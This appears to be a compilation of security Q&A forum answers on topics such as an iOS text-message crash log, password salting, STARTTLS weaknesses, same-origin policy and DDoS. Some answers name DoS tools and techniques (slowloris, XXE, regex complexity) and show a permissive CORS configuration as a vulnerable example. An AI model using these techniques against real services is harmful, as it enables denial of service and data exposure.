Install a basic AV package if you're really worried. Microsoft Security Essentials (MSE) is a great choice for Windows, because it's free, unintrusive and not much of a performance hog.


How is it possible that a text message can reboot an Apple device?

I just asked a similar question; mine was about how Apple will fix this though, not necessarily what the bug does that causes the phone to crash.

As @LvB suggested, it seems to be a bug in the SpringBoard notification text processing, where the program infinitely reads the Unicode string into memory, taking up all the available memory. Then, the SpringBoard throws a segmentation fault as it attempts to allocate memory that the kernel owns. It seems like a 'fast' restart because only the SpringBoard is restarted.

Apple hasn't released any details, but this is my output from Settings/Privacy/Diagnostics & Usage/Diagnostics & Usages Data/LatestCrash.ips:

Hardware Model:      iPhone4,1
Process:             SpringBoard [395]
Path:                /System/Library/CoreServices/SpringBoard.app/SpringBoard
Identifier:          com.apple.springboard
Version:             50 (1.0)
Code Type:           ARM (Native)
Parent Process:      launchd [1]

Date/Time:           2015-05-27 13:59:33.737 -0400
Launch Time:         2015-05-27 13:36:16.197 -0400
OS Version:          iOS 8.3 (12F70)
Report Version:      104

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x403c0a40
Triggered by Thread:  0

Thread 0 name:  Dispatch queue: com.apple.main-thread
Thread 0 Crashed:
0   CoreText                        0x28bf2264 0x28b54000 + 647780
1   CoreText                        0x28bc2e64 0x28b54000 + 454244
2   CoreText                        0x28bc37f8 0x28b54000 + 456696
3   CoreText                        0x28b8fb9c 0x28b54000 + 244636
4   CoreText                        0x28b91350 0x28b54000 + 250704
5   CoreText                        0x28b64716 0x28b54000 + 67350
6   CoreText                        0x28b644f6 0x28b54000 + 66806
7   CoreText                        0x28b64372 0x28b54000 + 66418
8   UIFoundation                    0x332561ca 0x331fb000 + 373194
9   UIFoundation                    0x332585ec 0x331fb000 + 382444
10  SpringBoard                     0x00320f9c 0x89000 + 2719644
11  SpringBoard                     0x00321084 0x89000 + 2719876
12  SpringBoard                     0x003212e0 0x89000 + 2720480
13  SpringBoard                     0x002bbb6c 0x89000 + 2304876
14  SpringBoard                     0x003020a8 0x89000 + 2592936
15  SpringBoard                     0x00301052 0x89000 + 2588754
16  SpringBoard                     0x0025d472 0x89000 + 1918066
17  SpringBoard                     0x0025d374 0x89000 + 1917812
18  SpringBoard                     0x0025d3e6 0x89000 + 1917926
19  SpringBoard                     0x0025d724 0x89000 + 1918756
20  SpringBoard                     0x0025d52a 0x89000 + 1918250
21  SpringBoard                     0x0025c2ba 0x89000 + 1913530
22  CoreFoundation                  0x2823b850 0x2812d000 + 1108048
23  CoreFoundation                  0x28165fe8 0x2812d000 + 233448
24  libdispatch.dylib               0x36831c80 0x36830000 + 7296
25  libdispatch.dylib               0x36831c6c 0x36830000 + 7276
26  libdispatch.dylib               0x3683d54e 0x36830000 + 54606
27  CoreFoundation                  0x281fc884 0x2812d000 + 850052
28  CoreFoundation                  0x281fafa4 0x2812d000 + 843684
29  CoreFoundation                  0x2814699c 0x2812d000 + 104860
30  CoreFoundation                  0x281467ae 0x2812d000 + 104366
31  GraphicsServices                0x2f91f1a4 0x2f916000 + 37284
32  UIKit                           0x2b8d1690 0x2b862000 + 456336
33  SpringBoard                     0x000908b4 0x89000 + 30900
34  libdyld.dylib                   0x3686faac 0x3686e000 + 6828

This is only through Thread 0 (the one that crashed) because the rest is not really important.

From the crash log you can see that the app that crashed was SpringBoard, and the cause is a SIGSEGV (segmentation fault). Then, the stack trace (ignore the system call on line 34) suggests that it was caused by:

33  SpringBoard                     0x000908b4 0x89000 + 30900

Take this with a grain of salt. Since I don't know what the source code is, and Apple obscured their crash logs with addresses instead of function names (it used to give function names), one can only guess by the stack trace and behavior of the crash.

It could also be an issue with how CoreText process the string before passing it to SpringBoard, we don't really know as we didn't design the internal apps in CoreServices.


Is a firewall needed on a small office that simply needs internet access?

If you don't care what your internal users connect to on the Internet then a simple NAT device would be an effective firewall.

If you want to open up internal services to the Internet, you would then need a more advanced system.

If you want to monitor your internal network for potential malware you would need additional systems like a firewall or an IDS/IPS or some desktop level software like AV or Tanium.


Are there any regulations against financial companies storing passwords in plaintext?

This practice is horribly insecure, and unfortunately way too frequent. As acoolguy said, you can write direct complaints to the bank and your financial ombudsman, but you'll usually end up howling into the wind.

If the bank has dealing with payment processing companies such as Visa or Mastercard, you could try contacting them. Often, they have strict rules (e.g. PCI-DSS) about what banks are allowed to do. Whilst it's unlikely that you'll be able to directly get them to fix the problem, informing the payment processors usually starts and official investigation that could end up being extremely embarassing for the bank.

Sadly, the only sure-fire way to get them to fix it is to go as public as possible. Make it a PR nightmare for them. Shame them on Plaintext Offenders. Get on Twitter, get on Facebook, and let people know what they're doing, and why it's bad. If you can get enough people to complain, you can actually make a difference. That's what Troy Hunt and I have been doing with Tesco recently, and it's proven to be reasonably successful.

I wish you the best of luck.


Random salt - necessary for a single user?

Both using a random salt and several hash computations or another delaying strategy (bcrypt, scrypt, whichever) make sense not only for many users, but certainly also for one user.

Salt prevents an attacker from trivially entering your hash into Google to get an instant password without even using a tool. A good random salt makes it less likely that you've chosen one that someone else has built a rainbow table for the value anyway (such as for some obvious salts that you might see, like user IDs).

Having a different, random salt for every user prevents an attacker from reusing hashes in a rainbow table (or using a rainbow table for a specific salt that already exists readily). It forces to brute-force each individual user. You can't prevent someone from continuing a brute-force attack, and it will eventually be successful (since even "strong" passwords are relatively weak). But the longer it takes to brute-force one user, the safer the remaining ones are (if it takes 2 seconds to brute-force one user, you can do 1000 users in a few hours -- if it takes a week per user, things look much better). That is the whole point of using something like bcrypt.

Now if there is only one user, brute-forcing the first user means a 100% compromisation.

Therefore, using a strategy that delays brute-force is at least as important as with a many-user database (but conceptually more important).

Something like a GUID will do fine, it does not matter whether you store the "string" somewhere or whether you reuse it when the same user changes password. A salt needs to be accessible in some form so you can validate the password. Sure, it would of course be nice if you could keep it secret, but that is neither possible nor necessary for its purpose. Also, if someone can steal the salt, they will also have the hashed password, since that is usually stored in the same place. Insofar, there is no "additional risk" that someone might maybe prepare a rainbow table ahead of time for that known salt (before stealing the actual password). With that said, if you feel uneasy, it does not really cost anything to also change the salt every time the user changes password.

The purpose of the salt is not encryption of some kind but to thwart rainbow tables, which make inverting the hash function a trivial operation.

In principle, hardcoding a "randomly chosen" salt directly as you propose would be just as good for your one-user scenario. However, this is a bad approach since there is the possibility that you will eventually reuse the code for something else (a different project of yours) or that you will eventually have more than one user.

You may not see this coming right now, but it is generally a possibility.

Now the thing about things that may happen is that eventually they will happen. So if you directly hardcode a single salt since there's only one user anyway, you will eventually have a security hole, maybe in 10 years from now when you don't even think about it any more.
As soon as you use the same salt for several users or for a single user in several projects, it is pretty useless. You should simply not make it possible for that to happen.

The same applies, of course, to the approach of having a "permanent" salt which you use everywhere, say, for the remainder of your life. This is an open invitation to building a rainbow table, since doing so will save computional work. Attacking one of your passwords will be more or less the same workload as attacking all passwords in your lifetime.


Yes.  For years, Facebook has been using its 'like' and 'share' buttons to collect data on users that visit sites where these buttons are installed. This enables Facebook to collect data on people that don't even use Facebook, when these users visit sites where these buttons are installed.

See https://www.technologyreview.com/2015/09/16/166222/facebooks-like-buttons-will-soon-track-your-web-browsing-to-target-ads/ for more info.


advantages of http basic authentication over token-based (e.g. oauth2)?

For the most part, a token-based authentication solution would be preferable, however Basic Auth does offer maximum interoperability and downward compatibility. Any client (even a shell script with curl) could consume your service easily, as long as they had valid credentials.


Backups don't really have anything to do with preventing or mitigating DDOS attacks. A DDOS attack will prevent people from accessing your site, it doesn't have anything to do with the destruction of data.

So to answer your question, no - I don't think setting up backups will help you in the event of a DDOS attack.  That said, regularly backing up data should be a standard task in any software environment so make sure you are doing that.  In addition to backing up the data - do a mock restore so you will be familiar with the process to bring everything back up after a disaster.

If you are concerned about DDOS give this post a read - it has some excellent information on handling DDOS.


You can DOS anything, including Apache. Its only a question of how much resources the server can allocate and how much resources you are able to request (i.e. bandwidth, connections...).  If you can request more than the server can handle you have a DOS, i.e. denied legitimate users access to the site. You don't even need attack tools because it might be sufficient to make lots of users want to visit the site, see Slashdot effect.

Thus the question is not if DOS is possible but how easy it is. This depends on the version of the server, its setup etc. Tools like slowloris help as do tools which makes lots of request or tools which do lots of computationally intensive TLS handshakes. And depending on the site  it might be even cheaper for the attacker to DOS  the web application itself, for example with regex complexity attacks, XXE or causing expensive database queries.


You're attacking a live system, that is what you're doing wrong.

Please stop unless you have explicitly been contracted to break security on this service (i.e. You have a signed penetration testing contract with the server owners).

Edit:

It's good that you have permission to perform this test (I've seen a surprising number of similar questions where this isn't the case, and the users would be putting themselves at grave risk of prosecution).

So with the new information, your objective is to test the strength of passwords with 6 lower case letters.

You can do this theoretically. The maximum possible permutations are 26^6 = ~309 million. Take your login rate limit per unit time, and you can then figure out how long it would take to crack a password. With a properly configured web app, this method should never work (Assuming your admin passwords are random).
You can do this by taking the salted and hashed password file, and brute forcing it "offline". This more accurately simulates what would happen in an attack, and eliminates the risk that attacking the live system would cause a fault.


Can STARTTLS protect emails between two organisations?

STARTTLS can help you to provide reliable encryption between two companies, but it will not do it in the default setup:

STARTTLS depends on the availability and the success of the STARTTLS command at the server MTA. Because the SMTP connection first starts without encryption an active man in the middle could simply modify the connection so that it looks like that STARTTLS is not available. The usual configuration of MTA in this cases is to continue without encryption. This means you have to configure your MTA explicitly do only allow encrypted connections for mails to a specific recipient domain.
Most MTA implement STARTTLS as a best effort and not most secure solution. This means they will try to validate the certificate of the peer but continue anyway if the certificate can not be validated. Thus you have to configure your MTA to do strict certificate validation and fail if the certificate is wrong. Note that there are often different settings on how the subject should be validated and you have to pick the right one.
Mail delivery between MTA uses MX records in the DNS. If DNS can be spoofed the sender MTA will connect to the attackers MTA instead and no certificate validation will help because the attacker probably has a valid certificate for his host. Thus you also need to secure the DNS lookup, that is either make sure that you use only DNSSec (which is often not implemented) or that you configure the peers MTA in your explicitly (i.e. don't rely on DNS).
And then there are companies which outsource the mail management, i.e. use custom domains with google mail or similar. In this case the mail will be decrypted already by the third party managing the mail and not by the final target.

As you can see, there are lot of problems and I'm sure that I've missed some. But even the one I mentioned are hard to fix properly. A better way to protect the mail communication between two companies might be to have a VPN. Or use a mail gateway which encrypts the mails on one side with PGP or S/MIME and decrypts the mails on the other side. In this case the actual transport security does not matter much, because the mail itself is encrypted independent of the transport. Such gateways are marketed as secure mail gateway or with similar names.

Even better would be end-to-end communication with PGP or S/MIME from user to user and not only domain to domain. But this is often too hard to manage so that automatic encryption when the mail leaves the company and automatic decryption when it is received are often easier to handle for the users.


Easiest attach vector is to sniff the FTP traffic. As FTP is a plain-text protocol, anyone with a network sniffer or a compromised router, or in an open wifi, will be able to capture app's FTP credentials without even breaking a sweat. So, make sure you use at least SFTP.


Information Transfer Between Browsers and Tabs

Hard to answer because we can have a lot of horizons here.

Short answer:

I will use your bank as an example.

Let's say you open a new tab and enter on your-bank.com.

If your bank has not explicitly developed any code to communicate with other tabs, no other tab could say that you are browsing your bank and what you are doing there.*

EXCEPT if a malicious tab is using a browser exploit (0-day), which is very expensive, rare and exceedingly illegal.

I am not considering you clicked on your-bank.com through other site, and I am considering you don't have any browser extension/plugin or malware in your computer.

  (...) please describe what safeguards are in place within the browser in addition to sandboxing

Same-origin policy (SOP):

  "In computing, the same-origin policy is an important concept in the
  web application security model. The policy permits scripts running on
  pages originating from the same site – a combination of scheme,
  hostname, and port number1 – to access each other's DOM with no
  specific restrictions, but prevents access to DOM on different
  sites.1 The same-origin policy also applies to XMLHttpRequests
  unless the server provides an Access-Control-Allow-Origin (CORS)
  header. Notably, WebSockets are not subject to the same-origin policy.

  This mechanism bears a particular significance for modern web
  applications that extensively depend on HTTP cookies to maintain
  authenticated user sessions, as servers act based on the HTTP cookie
  information to reveal sensitive information or take state-changing
  actions. A strict separation between content provided by unrelated
  sites must be maintained on the client side to prevent the loss of
  data confidentiality or integrity."

  From Wikipedia (http://en.wikipedia.org/wiki/Same-origin_policy).

Edit:

Considerations about this post (I will use again your bank as an example):

The document.domain method

Here we can assume that subdomain.attacker.com can talk with subdomain.attacker.com AND attacker.com.
But is impossible to subdomain.attacker.com talk with your-bank.com or even with subdomain.your-bank.com.

Why? attacker.com can not set its document.domain to your-bank.com.

The Cross-Origin Resource Sharing method

Here your bank needs to explicitly permits Cross-Origin Resource Sharing with attacker.com, because it is not permitted by default.

Settings of a vulnerable domain:

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, DELETE, PUT

The window.postMessage method (or JSONP, etc.)

Again your bank needs explicitly permits communications through javascript postMessage.

My conclusions:

Same-origin policy is, nowadays, very reliable, but like anything, it is not flawless.

But if you could find any flaw in the same-origin policy implementation of Chrome or Firefox (like U-XSS, etc.), you will receive a nice reward.

So it is not easy to find a bug.

Mozilla and Chrome Bug Bounty Programs:

http://www.google.com/about/appsecurity/chrome-rewards/
https://www.mozilla.org/en-US/security/bug-bounty/

Article about some old same-origin policy weakness:

http://powerofcommunity.net/poc2008/kuza55.pdf

  Is this the only in-browser mechanism/defense that is preventing
  tab/browser crosstalk?

Yes, it (Same-origin policy) is the only mechanism to prevent cross-origin talk.

Edit 2:

  Are the exploits you detailed above persistant across browser
  closings, or do they only affect simultaneous connections?

Both! We can have persistent and nonpersistent exploits.

Daniel Divricean reported this nonpersistent exploit three years ago. An attacker could read informations of other sites, like your bank balance, but only if you had logged in your bank before. In this case, closing the malicious site would stop the attack.

I reported this persistent exploit to Google one year ago. An attacker could use it to install a malicious extension on the victim's browser, without user interaction and knowledge. In this case, closing the malicious site would NOT stop the attack.

  So is logging into the bank website -> logging out -> closing browser
  -> opening exploit site -> closing browser -> logging into bank... now safe?

Is safer, not fully safe.


From a theoretical perspective this is impossible. The base of a distributed denial of service attack is flooding a system with so many requests it cannot keep up. No matter how little resources a system uses for processing, you can always add more requests to increase utilization, eventually reaching capacity.

From a practical perspective, yes, this can be the case. You have very little available attack power. There are many companies that have sufficient processing power to handle your attacks; your friend could be using one of them as an upstream, and malicious requests get dropped before ever reaching his local system. This is the basic idea behind anti-DDoS services.


Letting users pick up where they left off...without logging in (is this bad form?)

You could leverage local storage, but then you also risk exposing it a multi-user or public computer, or usability fail if the user uses multiple computers.

In your email solution, you could add a special code/token/password in addition to your identifier. So you have the identifier (UUID) and then a secret. You do still have an exposure if the email is compromised, but if the UUID is compromised from logs, packet capture, etc. without the secret access cannot be granted through the designed channel. You could put the secret as another parameter in the URL, but that is slightly less secure since it will be exposed whereever the URL is logged since its in the GET

eg.

  Hey, come on back to http://somesite.com?your_app=12345...... on the page enter the following code to continue XXXX

The application data and the secret should expire and be removed or unviewable from the user perspective after a period of time as well (secrets tend to become less secret over time).


How do JavaScript access control libraries work and is a client solution not a security threat?

Yes, your division makes sense; now focus on the backend (security), forget about the client (user experience). In short, for most applications, there's no such thing as client-side security for the website operator. Client-side security is about protecting the user from bugs/xss/phishing/etc. It can however be helpful to users to inform of forbidden actions, hide links they can't click on, or block content for monetization, customization, or internationalization, and a router plugin might help achieve those user goals.
Yes, if you ship info to a client they can see it, even if the default interface presented hides such data. If there's something you don't want a client to know/see/have, you can't give it to them.
Consider news site paywalls where one can read the story in "view-source"; that's about the lowest of the low "hacker-wise", but the concept is the exact same: nature will find a way.


If an XML document is not validated as "Well Formed" or checked against a schema, what are the risks?

Even if you have a "Well Formed" XML document, that does not prevents from attack - injection not always breaks XML document. To prevent XML injection attacks following measures should help:

check for valid XML Schema Definition;
validate/sanitize input;
check and enforce encoding;

For my answer completeness I want to add several useful links:

Testing for XML Injection (OWASP-DV-008)
WASC: XML Injection
WASC: XPath Injection
IBM: Avoid the dangers of XPath injection


What is the idea of passwords with random buttons position

Other answers have talked about key loggers, and how they would defeat this mechanism, but I can think of other attacks it would protect against:

Looking at the grease marks on a touch screen where somebody regularly enters the same code. For instance, the code to unlock a phone, or a door entry system where the screen isn't used for anything else.
Shoulder surfing, where the attacker can see the movement of the user's hand, but not what's on the screen. This could be somebody physically behind the user whose view is partially obstructed, or it could be a camera that doesn't have the screen in its field of view.


Securing physical access to your internet connection? (Apartment Utility Box)

As a rule of thumb, I find it helpful to always assume that there is a stranger somewhere on earth seeing all of my traffic unless I am using https, vpn, or some manner of encryption. If you make this assumption, then someone splicing into your connection outside of your home shouldn't freak you out too much, because you will not be transmitting anything useful to them over an unencrypted wire. Granted though even the list of websites you frequent all day may be enough to cause concern, in which case you'll want to use a vpn or encrypted proxy, at least for those you would not want others to know you visit.

That being said, even with encryption, someone on the other end of the encrypted channel could still see your traffic. For example, if you are using https (with a valid certificate) while connecting to a website, you can probably assume your connection is secure over the wire, but you should still assume that an employee of that website could access your transmitted information if they wanted to. Likewise, when you use a (full-tunnel) vpn to connect to your company's network, your traffic should be secure, but always assume the IT department from your company can still see what you're doing.

TLDR: yes, it's really that vulnerable. If that bothers you, encrypt all the traffic you don't want others to be able to see.